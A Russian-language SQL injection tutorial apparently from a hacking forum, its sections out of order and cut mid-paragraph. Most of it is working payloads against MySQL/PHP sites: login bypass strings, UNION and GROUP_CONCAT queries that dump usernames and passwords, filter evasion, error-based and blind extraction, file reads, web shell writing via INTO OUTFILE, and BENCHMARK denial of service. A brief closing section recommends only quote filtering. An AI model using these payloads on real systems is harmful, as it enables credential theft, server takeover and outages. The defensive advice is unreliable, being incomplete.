9| (SELECT CONCAT_WS(':',login, password) FROM Users WHERE id=@i LIMIT 0,1),
извлекает запись из таблицы и с помощью CONCAT объеденяется с переменной @s.
Код:
11| i:=(SELECT MIN(id) FROM user WHERE id>@i)
здесь мы определяем следующий индетификатор и записываем его в переменную @i. Кстати индетификатор не должен быть обязательно числовым. Подойдет любой столбец. Главное чтобы в нем каждая строка была уникальна.
И в итоге получаем вывод в переменной @s. С идеей надеюсь вы разобрались.
Плюсы:
- Вывод таблицы в один запрос
Минусы:
- Очень сложный и длинный запрос
4.2 Объеденение с помощью GROUP_CONCAT
Наверное уже все слышали про эту функцию. Не буду ходить вокруг да около. Вот так выглядит запрос к БД с использованием этой функции:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,login,password)) FROM Users
Но! Единственный и огромный недостаток этой функции это ограничение в 1024байта(по дефолту) на количество выводимой инфы. Казалось бы что пользу извлечь не возможно. Но! Все же есть пара вариантов =)
Самый простой использовать какой нить столбец для сужения диапазона, к примеру:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,id,login,password)) FROM Users
Получили вывод длинной 1024байта:
Код:
1:adminass,2:lol:lolpass,[...],17:loginass,18:trololoasswo
Из вывода берем самую последнюю удачно-полученную строку, и из нее извлекаем индетификатор (В нашем случае это "17"), и подставляем обратно в запрос:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,id,login,password)) FROM Users WHERE id>17
и так даллее, ровно до тех пор пока не извлечется вся таблица.
Но что делать если в таблице нет столбцов с индетификаторами? На днях я придумал вот такую идею. Делаем запрос:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,login,password) ORDER BY CONCAT_WS(0x3a,login,password)) FROM Users
Допустим получаем такой вывод:
Код:
adminass,lol:lolpass,[...],loginass,trololoasswo
Опять берем самую последнюю удачную строку и подставляем в запрос:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,login,password) ORDER BY CONCAT_WS(0x3a,login,password)) FROM Users WHERE CONCAT_WS(0x3a,login,password)>'loginass'
И таким образом получаем следующий диапазон.
Кстати есть еще один минус GROUP_CONCAT, но о нем малок кто знает. Чем больше данных мы пытаемся объеденить за один раз, тем больше время выполнения запроса. Причем это время может быть довольно значительным. (На практике у меня один запрос к таблице на 500кк записей занимал около 40 секунд, выводилось в среднем 15 строк. Тогда как один обычный запрос занимал ~0.7 секунд. Т.е на лицо не рациональность подхода) Выход - ограничение диапазона с двух сторон, т.е.:
Код:
WHERE id>17 AND id<117
Эксплойты для автоматизации процесса Для просмотра ссылки Войдиили Зарегистрируйся
Плюсы:
- Интуитивно понятный и короткий запрос
Минусы:
- Вывод НЕ в один запрос
- Тормоза при выводе крупных таблиц
4.3 Неявный цикл в условии (?)
В статье "Для просмотра ссылки Войдиили Зарегистрируйся" profexer предложил, на мой взгляд, самый идеальный вариант вывода данных в одну строку.
Его идея заключается в том чтобы использовать переменную в условии WHERE и заставить MySQL писать в нее весь вывод.
Код:
SELECT @p FROM (SELECT @p:=null, (SELECT COUNT(*) FROM {TABLE_NAME} WHERE (@p:=CONCAT_WS(0x2C, @p, {COLUMN_NAME}))>0))x
Чесно говоря идея замечательная, но, имхо, реализация могла бы быть попроще. Зачем два вложенных друг в друга подзапроса? Не в обиду конечно) респект ему в любом случае)
Так вот. Пытаемся максимально упростить запрос. Пример шаблона:
Код:
SELECT CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,{COLUMNS},0x2C)), @p)
Все выводится отлично, но с лишними данными, (ничего критичного, результат определения переменной и выполнения подзапроса). Для тех кого смущает лишний вывод, добавляем CONCAT и усекаем строку до нуля:
Код:
SELECT CONCAT(MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,{COLUMNS},0x2C))),0), @p)
Не обязательно конечно, но так мы сможем скрыть вывод лишних данных.
profexer на основе выше сказанного, предложил запрос укоротить еще. Собственно, вот последний пример шаблона:
Код:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5)
В итоге измененый вариант работает чуть быстрее чем оригинал. Тест выборки из таблицы 3к записей по 100 запросов:
Оригинал: ~0.6c.
Измененный: ~0.4c.
Плюсы:
- Вывод в один запрос
- Простой и короткий запрос
Минусы:
*Пока нету =)
5.ЧТО ДЕЛАТЬ ЕСЛИ ЧТО-ТО ФИЛЬТРУЕТСЯ.
5.1 Фильтруется пробел
В данном случае можно попытаться воспользоваться несколькими способами.
5.1.1 Комментарии
Ну для начала вспомним что для SQL конструкция типа /**/ равна пробелу. Пример:
Код:
SELECT * FROM news WHERE id='1'/**/UNION/**/SELECT/**/1,2,3,4,5,6/**/FROM/**/Users/**/WHERE/**/login='admin'#'
Можно воспользоватся аналогом этого комментария /*!*/ (см. ниже) содержимое которого будет выполнятся, пример:
Код:
SELECT * FROM news WHERE id='1'/*!UNION*/SELECT/*!1,2,3,4,5,6*/FROM/*!Users*/WHERE/*!login='admin'*/#'
Небольшое отступление. Как ни странно, даже такой запрос выполнится правильно:
Код:
SELECT/*!**/FROM table_name
5.1.2 Пробельные символы
Помимо самого пробела есть еще несколько пробельных символов, которые MySQL воспринимает как пробел, это:
Для просмотра ссылки Войдиили Зарегистрируйся 9WHERE%09login='admin'#
5.1.3 Альтернативный синтаксис
Ну а что делать если все выше указанное фильтруется? Все элементарно. Можно воспользоватся скобками и апострофами. К примеру:
Код:
SELECT * FROM news WHERE id='1'UNION(SELECT(1),2,3,4,5,(6)FROM(Users)WHERE(login='admin'))#'
Или
Код:
SELECT * FROM news WHERE id='1'UNION(SELECT`login`,2,3,4,5,`password`FROM`Users`WHERE`login`='admin')#'
хоть в последнем случае нам и не удалось полностью избавится от скобок, но этот навык может вам пригодится в иньекциях через подзапрос где не нужно будет юзать UNION
5.2 Фильтруется символ/строка
Есть интересная функция CHAR() которая возвращает по коду символа сам символ.Предположим фильтруется символ... ну пускай будет звездочка (*). Для начала нам нужно узнать код этого символа. В MYSQL есть функция ASCII() возвращает код самого левого символа из переданной ей строке юзается так
Код:
SELECT ASCII('*')
только на уязвимом хосте этого делать смысла нет (Символ '*' фильтруется) это нужно сделать на локалке. Узнаем что код равен 42 и юзаем функцию CHAR() так
Код:
SELECT CHAR(42, 42, 42)
Выведет три звездочки.
Еще один способ это использовать 16-ричный код символа. Теперь предположим что фильтруется солово 'admin'. В MYSQL есть функция HEX() которая выдает 16-ричный код строки. Юзается так
Код:
SELECT HEX('admin')
Выдаст '61646D696E' впереди дописываем "0x" (Чтобы SQL понял что имеет дело с 16-ричной кодировкой) и получаем '0x61646D696E ' это юзать без CHAR() так
Код:
SELECT password FROM User WHERE login=0x61646D696E
5.3 Проблемы с кодировками
Часто бывает так, вот вы вроде нашли все столбцы, составили верный запрос, а при попытке вывести из БД какую либо строку не получается - ну и взависимости от конфигурации сервера вы можете получить сообщение о несовместимости кодировок, а можете и не получить.
Есть элементарный способ возложить преобразование кодировок на плечи мускула. Можно юзать подобную конструкцию:
AES_DECRYPT(AES_ENCRYPT([Ваш запрос],'bla'),'bla')
Но! Какбе это уже не модно и очень громоздко, и я пару лет назад предлагал другую конструкцию, намного меньшую:
UNHEX(HEX([Ваш запрос]))
Как говорится все гениальное просто.
Ну и собственно пример того как это можно юзать:
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3,UNHEX(HEX(login)),5,6 FROM Users LIMIT 0,1 --
6.ПОЛЕЗНЫЕ ФУНКЦИИ В MYSQL
Надеюсь что за SELECT, INSERT, UPDATE, DELETE, DROP вы знаете, если нет то лезем в эту книжку читать: Для просмотра ссылки Войдиили Зарегистрируйся .
----------------------------
USER()-функция выводит логин юзера под которым мы подключены к MYSQL
DATABASE()-функция выводит название БД к которой мы подключены
VERSION()-выводит версию MYSQL
----------------------------
ASCII(str)-возвращает ASCII код первого символа в строке "str"
CHAR(xx1,xx2,...)-возвращает строку состоящую из сомволов ASCII коды которых xx1, xx2 и т.д.
HEX(str)-возвращает 16-ричный эквивалент строки "str".
----------------------------
LENGTH(str)- Возвращает длину строки "str".
LOCATE(substr,str[,pos]) -Возвращает позицию первого вхождения подстроки "substr" в строку "str" начиная с позиции pos(если не указанно то с начала строки "str"). Если подстрока "substr" в строке "str" отсутствует, возвращается 0.
----------------------------
SUBSTRING(str,pos[,len]) -Возвращает подстроку длиной len(если не указан то до конца строки "str") символов из строки "str", начиная от позиции pos.
SUBSTRING(str FROM pos[ FOR len]) - альтернативный синтаксис, может пригодится если фильтруется запятая
MID(str,pos[,len]) - аналог функции SUBSTRING, но короче в три раза, может пригодится при ограничениях на кол-во символов.
MID(str FROM pos[ FOR len]) - альтернативный синтаксис, может пригодится если фильтруется запятая
----------------------------
LOWER(str)-переводит в нижний регистр строку "str"(по-моему только латиницу)
CONCAT(param1,param2,...) -объединение подстрок в одну строку.
CONCAT_WS(sep,param1,param2,...) -объединение подстрок в одну строку c разделителем "sep".
----------------------------
IF(exp,ret1,ret2)-Проверяет условие exp если оно верно (не равно 0) то возвращает строку ret1 а если нет то возвращает строку ret2.
----------------------------
expr BETWEEN min AND max-Если величина выражения expr больше или равна заданному значению min и меньше или равна заданному значению max, то функция BETWEEN возвращает 1, в противном случае - 0.
----------------------------
Теперь о комментариях в Mysql
1) # символ начала комментария в MySQL. Пример:
Код:
SELECT pass,login FROM users #This is comment
что аналогично запросу
Код:
SELECT pass,login FROM users
2) -- еще один вариант комментария в MySQL. Обязателен пробел после этого знака. Пример:
Код:
SELECT pass,login FROM users -- This is comment
3) /* */ аналог комментария СИ в MySQL. Начиная с ветки 5.1(?) лафа заканчивается и для этого типа комментариев нужна закрывающая часть. Для MySQL индеинтична пробелу. Примеры:
Код:
SELECT pass,login FROM users /*This is comment
SELECT pass,login/*This is comment*/FROM users
SELECT/**/pass,login/**/FROM/**/users
4) /*!int */ Расширение предыдущего комментария. Все заключенное в данный комментарий будет интерпретироваться как SQL запрос если номер данной версии MySQL равен указанному числу int после восклицательного знака или больше. Пример:
Код:
SELECT pass/*!32302 ,login*/FROM users
Выведет столбец login
7. КАК ЗАЩИТИТЬСЯ ОТ SQL INJECTION
Вы конечно понимаете что именно для этого пункта и писалась вся эта статья. Все пункты и их подпункты были написанны лишь для того что бы понять все серьезнось ситуации, а за использование этих пунктов в целях противоречащих УКРФ автор данной статьи ответственность не несет.
А защитится очень просто. Кстати все три правила относятся к трем способам передачи информации серверу GET, POST, Cookie.
1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ.
-------------------------------
2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_”
-------------------------------
3)Не использовать при сравнении прерменных без кавычек типа SELECT …WHERE id=$id а использовать так SELECT ...WHERE id='$id' и обратиться к пункту 1
Автор: Dr.Z3r0
Посвящается всем кто меня знает)
0.INTRO
0.1 Вступление
Лазив по интернету в поисках хоть какой то инфы по SQL injection, ты, наверно, часто натыкался на статьи либо очень короткие, либо не понятные, либо освещающие одну тему, либо еще что-то, которые разумеется тебя не устраивали. Когда то и я насобирал где то статей 10-20 по этой теме, чтобы вникнуть во многие тонкости этой уязвимости. И вот вспоминая те времена, решил написать полный FAQ по этой теме, чтобы, так сказать, остальные не мучались. Те кто найдет, что я что-то пропустил, где то ошибся и тд, пожалуйста отпишитесь ниже, трудно все-таки, все удержать в голове . Кстати, это моя первая статья, пожалуйста не кидайтесь помидорами, и не пинайте ногами.
Для усвоения этой статьи требуется:
а) Наличие мозгов
б) Прямые руки
в) Знания языка SQL
В основном эта статья писалась как для MYSQL+PHP.
Вообще, по-моему, самый лучший способ обучиться правильной работе с SQL injection это не прочтение этой статьи, а живая практика, например, самому написать уязвимый скрипт или использовать мой приведенный в самом конце.
Кстати советую читать все подряд так, как в каждом пункте есть что-то важное для следующего пункта и т.д.
И еще. При чтении обратите внимание что эта статья немного устарела. Сейчас я пытаюсь ее переписать, дабы восстановить актуальность.
0.2 Общее описание
Для начала нам нужно представить, что такое база данных и скрипты, зачем они нам нужны и так далее.
Возьмем к примеру движок этого форума. Со стороны пользователя оно все красиво. Учитывая тематику статьи, следует задать вопрос, откуда движок берет информацию (даже эту же самую статью, эти буквы)? Правильно! Из базы данных!
Грубо говоря, обычная, в нашем понимании, БД состоит из множества таблиц. У каждой таблицы, естественно, есть столбцы и есть строки. Собственно, это ключевой момент. Возьмем к примеру таблицу юзеров этого форума. Для каждого юзера должно быть описанно несколько параметров (ник, мыло, дата реги и тд). В итоге каждый столбец определяет какой либо параметр юзеров, а каждая строка - конкретного юзера. А в пересечении нужного нам столбца и строки будет информация о параметре нужного юзера.
(вообще это утрированное описание реляционных баз данных, можете поискать подробнее)
Так надеюсь с представлением разобрались. Теперь поговорим о взаимодействии с Базами Данных. Для работы с БД был разработан специальный язык SQL запросов (кстати я бы советовал вам поискать мануал по нему, будет полезно).
Вообщем начнем с примера.
Представим, что вы(скрипт) пошли в магазин(БД), и просите(SQL запрос) продавца: "Дайте одну бутылку водки за 200 рублей".
Попытаемся представить запрос в виде SQL:
Код:
SELECT товар FROM магазин WHERE (тип='водка' AND цена='200') LIMIT 1
Собственно в ответ на вашу просьбу(SQL запрос) вы(скрипт) получаете бутылку(информацию), и продавца(Базу данных) уже не волнует, что вы будете с ней делать, так как свою работу он выполнил. Вы можете ее выпить, вылить, подарить (обработать, вывести, расчитать) и тд.
0.3 Что же все таки такое SQL иньекция?
Обобщенно атака типа SQL иньекция (SQL injection) возникает в случае если злоумышленник может каким то образом модифицировать запрос к БД.
На примерах разбирать проще поэтому вернемся к примеру с магазином.
Допустим вы бросили пить Вот вы решили пойти в магазин за кефиром, и специально написали на бумажке "один пакет кефира за 30 рублей", чтобы не забыть зачем вы пришли в магазин. Но у вас есть друг-алкоголик(хакер, он же злоумышленник), который исправил надпись на бумажке(провел атаку SQL injection) на такую "один пакет кефира за 30 рублей или одну бутылку водки за 200 рублей".
В итоге вы приходите в магазин и говорите, используя бумажку(входящий параметр): "Дайте один пакет кефира за 30 рублей или одну бутылку водки за 200 рублей"
Цитата:
SELECT товар FROM магазин WHERE (тип='кефир' AND цена='30') OR (тип='водка' AND цена='200') LIMIT 1 |
Вот собственно пример SQL иньекции. Вот налицо отсутствие фильтрации входящих параметров, вы же не посмотрели на то, что вторая часть записки написанна другим почерком?
Конечно, это все утрированно, но надеюсь идею SQL запросов и иньекций в эти запросы вы уловили.
1. КАК НАЙТИ SQL INJECTION
Как вы поняли выше SQL иньекция может возникать в местах где есть какие либо входящие параметры, будь то номер новости/статьи которую вы хотите увидеть на сайте, либо анкета голосования, вообщем любой параметр получаемый от пользователя. А возникать она будет тогда, когда этот параметр не фильтруется должным образом.
Уяснив эту мысль, вы поймете что найти SQL иньекцию очень просто. Надо вставлять во все поля, переменные и куки одинарные и двойные кавычки.
1.1 Первый случай (Строковой входящий параметр)
Начнем с вот такого скрипта Для просмотра ссылки Войди
Код:
SELECT * FROM news WHERE id='1'
Теперь мы допишем кавычку в переменную "id", вот так Для просмотра ссылки Войди
И, если переменная не фильтруется, наш запрос к БД будет выглядеть так:
Код:
SELECT * FROM news WHERE id='1''
Здесь мы видим нарушение синтаксиса и логики SQL запроса, и, в итоге, БД не сможет правильно обработать подобный запрос.
Если включены сообщения об ошибках то вылезет что то наподобие:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''
Если отчет об ошибках выключен то в данном случае можно определить наличие уязвимости вот так (Также не помешало бы это, что бы не спутать с пунктом 1.2. Как именно описанно в этом же пункте): Для просмотра ссылки Войди
Код:
SELECT * FROM news WHERE id='1' -- '
(Для тех кто в танке “--“ это знак начала комментария все после него будет отброшено, еще хочу обратить ваше внимание на то что после него должен быть обязательно пробел(Так написано в документации к MYSQL) и кстати перед ним тоже).
Таким образом для MYSQL запрос остается прежним и отобразиться тоже самое что и для Для просмотра ссылки Войди
Тому что делать с этой уязвимостью посвящен весь пункт 2.
1.2 Второй случай (Числовой входящий параметр)
Вернемся к скрипту новостей. Из языка SQL мы должны помнить, что числовые параметры могут(могут - ключевое слово, так как ни что программисту не мешает использовать параметр с ковычками) не обрамлятся кавычками, то есть при таком обращении к скрипту Для просмотра ссылки Войди
Код:
SELECT * FROM news WHERE id=1
Обнаружить эту иньекцию также можно подстановкой кавычки в параметр 'id' и тогда мы увидим сообщение об ошибке:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''
Если этого сообщения нет то есть три варианта:
- Кавычка фильтруется
- Отключен отчет об ошибках
- Здесь нет иньекции
БД не поймет шо это за бла бла бла и выдаст сообщение об ошибке типа:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1 blablabla'
Если отчет об ошибках выключен тогда проверяем вот так Для просмотра ссылки Войди
Должно отобразиться точно также как и Для просмотра ссылки Войди
1.3 Третий случай (Авторизация)
Что делать если в том же скрипте авторизации отсутствует проверка на кавычку? Имхо будет как минимум глупо использовать эту иньекцию для вывода какой нибудь информаци. Пускай запрос к БД будет типа:
Код:
SELECT * FROM users WHERE login='Admin' AND pass='123'
К сожалению пароль '123' не подходит , но мы нашли иньекцию допустим в параметре 'login' и что бы зарегистрироваться под ником 'Admin' нам нужно вписать вместо него что то наподобие этого Admin' -- то есть часть с проверкой пароля отбрасывается и мы входим под ником 'Admin'.
Код:
SELECT * FROM users WHERE login='Admin' -- ' AND pass='123'
А теперь что делать если уязвимость в поле 'pass'. Мы вписываем в это поле следующее 123' OR login='Admin' -- . Запрос станет таким:
Код:
SELECT * FROM users WHERE login='Admin' AND pass='123' OR login='Admin' -- '
Что для БД будет совершенно индеинтично такому запросу:
Код:
SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin')
И после этих действий мы станем полноправным владельцем акка с логином 'Admin'.
1.4 Четвертый случай (Оператор LIKE)
В SQL есть оператор LIKE. Он служит для сравнения строк. Вот допустим скрипт авторизации при вводе логина и пароля запрашивает инфу из БД вот так:
Код:
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123'
Даже если этот скрипт фильтрует кавычку то все равно он остается уязвимым для инъекции. Нам нужно вместо пароля просто ввести "%" (Для оператора LIKE символ "%" соответствует любой строке) и тогда запрос станет
Код:
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%'
и нас пустят внутрь с логином 'Admin'. В этом случае мы не только нашли SQL injection но и успешно ее использовали.
Теперь можно переходить к пункту 2.
2. ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ
Дальше будет рассматриваться только тип уязвимости описанный в пункте 1.1, а переделать под остальные сможете сами, это не трудно
2.1 Команда UNION
Cамое полезное, в нашем случае, это команда UNION (кто не знает лезть в Для просмотра ссылки Войди
Если в двух словах, то она объеденяет два запроса в один. И это очень полезно, так как вы сможете указать практически полностью свой запрос к БД, к примеру вывести информацию из любой таблицы.
Модифицируем обращение к скрипту Для просмотра ссылки Войди
Код:
SELECT * FROM news WHERE id='1' UNION SELECT 1 -- '
2.1.1 Подбор количества полей
Для работы с объеденением запросов нам необходимо чтобы во всех объеденяемых запросах количество полей было одинаковым. Так как мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором к первому.
2.1.1.1 Подбор количества полей (Способ 1 - Оператор UNION)
Дело в том, что количество столбцов до UNION и после должны соответствовать, и, наверняка, вылезет ошибка (если только в таблице news не одна колонка) типа:
mysql_query(): The used SELECT statements have a different number of columns
В данном случае нам нужно подобрать количиство столбцов (что бы их количество до UNION и после соответствовало). Делаем это так:
Для просмотра ссылки Войди
Ошибка. «The used SELECT statements have a different number of columns»
Для просмотра ссылки Войди
Опять ошибка.
...
Для просмотра ссылки Войди
О! Отобразилось точно также как и Для просмотра ссылки Войди
2.1.1.2 Подбор количества полей(Способ 2 - Оператор GROUP BY)
А этот способ основан на подборе количества полей с помощью GROUP BY. То есть запрос такого типа:
Для просмотра ссылки Войди
Будет отображен без ошибок если количество полей меньше или равно 2.
Делаем запрос такого типа:
Для просмотра ссылки Войди
Упс... Появилась ошибка типа.
mysql_query(): Unknown column '10' in 'group statement'
Значит столбцов меньше чем 10. Делим 10 на 2. И делаем запрос
Для просмотра ссылки Войди
Опа! Ошибки нет - значит количество столбцов больше либо равно 5 но меньше чем 10. Теперь берем среднее значение между 5 и 10 это получается вроде 7. Делаем запрос:
Для просмотра ссылки Войди
Ой, опять ошибка...
mysql_query(): Unknown column '7' in 'group statement'
Значит количество больше либо равно 5 но меньше чем 7. Делаем еще один запрос
Для просмотра ссылки Войди
Ошибок нет... Значит число больше либо равно 6 но меньше чем 7. Отсюда следует что искомое число столбцов 6.
2.1.1.3 Подбор количества полей(Способ 3 - Оператор ORDER BY)
Тот же самый принцип что и в пункте 2.1.1.2 только используется функция ORDER BY. И немного меняется текст ошибки если полей больше.
mysql_query(): Unknown column '10' in 'order clause'
2.1.2 Определение выводимых столбцов
Я так думаю что многим из нас точно такая страница как и Для просмотра ссылки Войди
Проще всего поменять "id" с '1' на '-1' (либо на '9999999'):
Для просмотра ссылки Войди
Или добавить ложное условие:
Для просмотра ссылки Войди
Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. (Например так как это условно скрипт новости то в «Название новости» будет отображенно допустим 3, «Новость»-4 ну и тд). Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции. Если цифры не отобразились нигде, то вероятнее всего вывод отсутствует и остальные подпункты пункта 2.1 можно пропустить.
2.1.3 SIXSS (SQL Injection Cros Site Scripting)
Эта таже XSS, только проводится она через запрос к базе. Пример:
Для просмотра ссылки Войди
2.1.4 Названия столбцов/таблиц
Если ты знаешь названия таблиц и стобцов в БД этот пункт можно пропустить
Если не знаешь… Тут два пути.
2.1.4.1 Названия столбцов/таблиц если есть доступ к INFORMATION_SCHEMA и если версия MYSQL >=5
Таблица INFORMATION_SCHEMA.TABLES содержит информацию о всех таблицах в БД, столбец TABLE_NAME - имена таблиц.
Для просмотра ссылки Войди
Вывод первой строки:
Для просмотра ссылки Войди
Вывод второй строки:
Для просмотра ссылки Войди
Ну вот мы и нашли таблицу Users. Только это... кхм... стобцы не знаем... Тогда к нам приходит на помощь таблица INFORMATION_SCHEMA.COLUMNS столбец COLUMN_NAME содержит название столбца в таблице TABLE_NAME. Вот так мы извлекаем названия столбцов.
Для просмотра ссылки Войди
Для просмотра ссылки Войди
и т.д.
И вот мы нашли поля login, password.
2.1.4.2 Названия столбцов/таблиц если нет доступа к INFORMATION_SCHEMA
К сожалению тут в силу вступает обычный брутофорс... Пример:
Для просмотра ссылки Войди
Нужно подбирать Имя_таблицы до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query(): Table 'Имя_таблицы' doesn't exist
Ну ввели мы, к своему счастью, Users, пропало сообщение об ошибке, и страница отобразилась как при Для просмотра ссылки Войди
Для просмотра ссылки Войди
Нужно подбирать Имя_столбца до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query():Unknown column 'Имя_столбца'' in 'field list'
Там где пропадает сообщение об ошибке значит такой столбец существует.
И вот таким образом мы узнали что в таблице Users есть столбцы login, password.
2.1.5 Вывод информации
Обращение к скрипту таким образом Для просмотра ссылки Войди
2.2 Работа с Файлами
Сервер MYSQL подерживает работу с файлами. Да, она несколько ущербная, но это вам не файловый менеджер. Для работы с файлами у текущего юзера должны быть права на это то есть FILE_PRIV.
2.2.1 Запись в файл
Есть в MYSQL такая интересная функция типа SELECT … INTO OUTFILE позволяющая записывать информацию в файл. Либо такая конструкция SELECT ... INTO DUMPFILE они почти похоже и можно использовать любую.
Пример: Для просмотра ссылки Войди
Для нее работает несколько ограничений.
- Запрещенно перезаписывание файлов
- Требуются привилегии типа FILE
- (!)Обязательны настоящие кывычки в указании имени файла
А вот что бы нам мешало сделать веб шел? Вот например так:
Для просмотра ссылки Войди
Остается только найти полный путь к корню сайта на сервере и дописать его перед 1.php. Врипринципе можно найти еще одну ошибку по отчету которой будет виден путь на сервере или оставить в корне сервера и подцепить его локальным инклудом, но это уже другая тема.
2.2.2 Чтение файлов
Рассмотрим функцию LOAD_FILE
Пример: Для просмотра ссылки Войди
Для нее есть также несколько ограничений.
- Должен быть указан полный путь к файлу.
- Требуются привилегии типа FILE
- Файл должен находится на одном и том же сервере
- Размер данного файла должен быть меньше указанного в max_allowed_packet
- Файл должен быть открыт для чтения юзером из-под которого запущен MYSQL
Если функции не удастся прочитать файл то она возвращает NULL.
2.3 DOS атака на SQL сервер
В большинстве случаев SQL сервер досят из-за того что больше ничего сделать не могут. Типа не получилось узнать таблицы/столбцы, нет прав на это, нет прав на то и т.д. Я честно говоря против этого метода но все таки...
Ближе к делу…
Функция BENCHMARK выполняет одно и тоже действие несколько раз.
Код:
SELECT BENCHMARK(100000,md5(current_time))
То есть здесь эта функция 100000 раз делает md5(current_time) что у меня на компе занимает приблизительно 0.7 секунды... Казалось что здесь такого... А если попробовать вложенный BENCHMARK?
Код:
SELECT BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))
Выполняется очень долго честно говоря я даже не дождался... пришлось делать reset .
Пример Доса в нашем случае:
Для просмотра ссылки Войди
Достаточно раз 100 потыкать F5 и «сервер упадет в беспробудный даун» ))).
3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ПРЯМОЙ ВЫВОД НА СТРАНИЦУ.
3.1 Вывод в отчете об ошибках
Более подробно можно найти в комментариях к статье Для просмотра ссылки Войди
Идея этого способа попробовать найти вывод в отчете об ошибках. То есть динамически передать какую либо подстроку в ошибку мускула.
Минус данного способа - невозможность вывести свою строку длинее 64 символов за один раз (ограничение связанно с архитектурой MySQL), ну и естественно необходимость включенного отображения отчета об ошибках.
Вообщем не вижу смысла пытаться разъяснить смысл и логику запроса, чесно говоря сам еле допер)
Собственно вариант предложенный Qwazar-ом и Cr0w в дебрях указанного выше топика:
Код:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID([YOUR QUERY], 1, 63), FLOOR(RAND(0)*2))
Недавно решил его немного рихтануть в сторону уменьшения и упрощения запроса, в итоге получился такой запрос:
Код:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID([YOUR QUERY], FLOOR(RAND(0)*2), 64)
Теперь не выводится результат выполнения команды FLOOR(RAND(0)*2) в текст ошибки, и соответственно можно выдирать из базы 64 символа, а не 63, как это было в старом варианте.
Cобственно вот пример того как можно заюзать этот способ:
Для просмотра ссылки Войди
Как результат предыдущего запроса мы увидим ошибку типа:
Duplicate entry '5.0.45-community-nt' for key 1
Вот вам и вывод в тексте ошибок.
Ну а допустим если вам нужно вывести следующие 64 символа, то делаем это следующим образом:
Для просмотра ссылки Войди
3.2 Посимвольный перебор
Этот случай нужен нам если Для просмотра ссылки Войди
Как мы помним запрос к БД у нас выглядит так
Код:
SELECT * FROM news WHERE id='1'
Теперь мы его модифицируем через уязвимый параметр id до такого запроса (если что то незнакомое то идем в пункт 5 и читаем):
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') -- '
Вот так:
Для просмотра ссылки Войди
Что нам это дает? Для начала MYSQL выполняет подзапрос SELECT USER() вставляет его в функцию ASCII() которая возвращает ascii код первого символа из результата выполнения подзапроса а функция IF() возвращает 1 если этот код больше или равен 100 oсновной запрос становиться таким
Код:
SELECT * FROM news WHERE id='-1' OR id=1
и выполняется точно также как и при обращении к скрипту Для просмотра ссылки Войди
Код:
SELECT * FROM news WHERE id='-1' OR id=0
и выполняется точно также как и при
Для просмотра ссылки Войди
Назовем условно что запрос возвращает 1(да) или 0(нет) соответственно и начнем перебирать.
Для просмотра ссылки Войди
Ага вернулся 1 значит код первого символа больше или равен 100. Пробуем вот так:
Для просмотра ссылки Войди
Вернулся 0 значит 100<= код символа <200.
Для просмотра ссылки Войди
Опять вернулся 0 значит 100<= код символа <150.
Для просмотра ссылки Войди
И снова вернулся 0 значит 100<= код символа <125.
Для просмотра ссылки Войди
Вернулся 1 следовательно113<= код символа <125.
Для просмотра ссылки Войди
Возвращается 0 следовательно113<= код символа <118.
Для просмотра ссылки Войди
113<= код символа <115.
Для просмотра ссылки Войди
Вернулся 0 значит код символа не равен 113.
Для просмотра ссылки Войди
Ура! Вернулся 1 значит код символа равен 114. Переводим в символ и получаем символ "r". Теперь переходим к следующему символу.
Для просмотра ссылки Войди
И заново повторяем все предыдущие шаги.
3.3 Посимвольный перебор с помощью BENCHMARK
Что делать если отсутствует выводимые поля и выключены отчеты об ошибках? На помощь нам прийдет функция BENCHMARK. Как было написано выше, эта функция выполняет одно действие несколько раз. Ну и что спросишь ты... А вот что. Вспомним что запрос
Код:
SELECT BENCHMARK(100000,BENCHMARK(100000,md5(NOW())))
выполняется ооочень долго, и на основе задержек (нет, не пугайся, не тех задержек, что ты сейчас подумал) будем посимвольно перебирать какой-нибудь параметр допустим имя юзера под которым мы подключены к БД (его выводит нам функция USER()).
Для просмотра ссылки Войди
Запрос станет таким:
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) -- '
И теперь по аналогии с предыдущим пунктом мы будем перебирать строку USER(). Только в данном случае вместо 0 функция будет очень долго выполнять этот запрос что и будет нам говорить о том что запрос вернул 0 и соответственно если без каких либо задержек то запрос возвращает 1.
Теперь поговорим о времени задержки. Для того чтобы определить время возврата 0 и 1 нужно сделать предварительно несколько запросов:
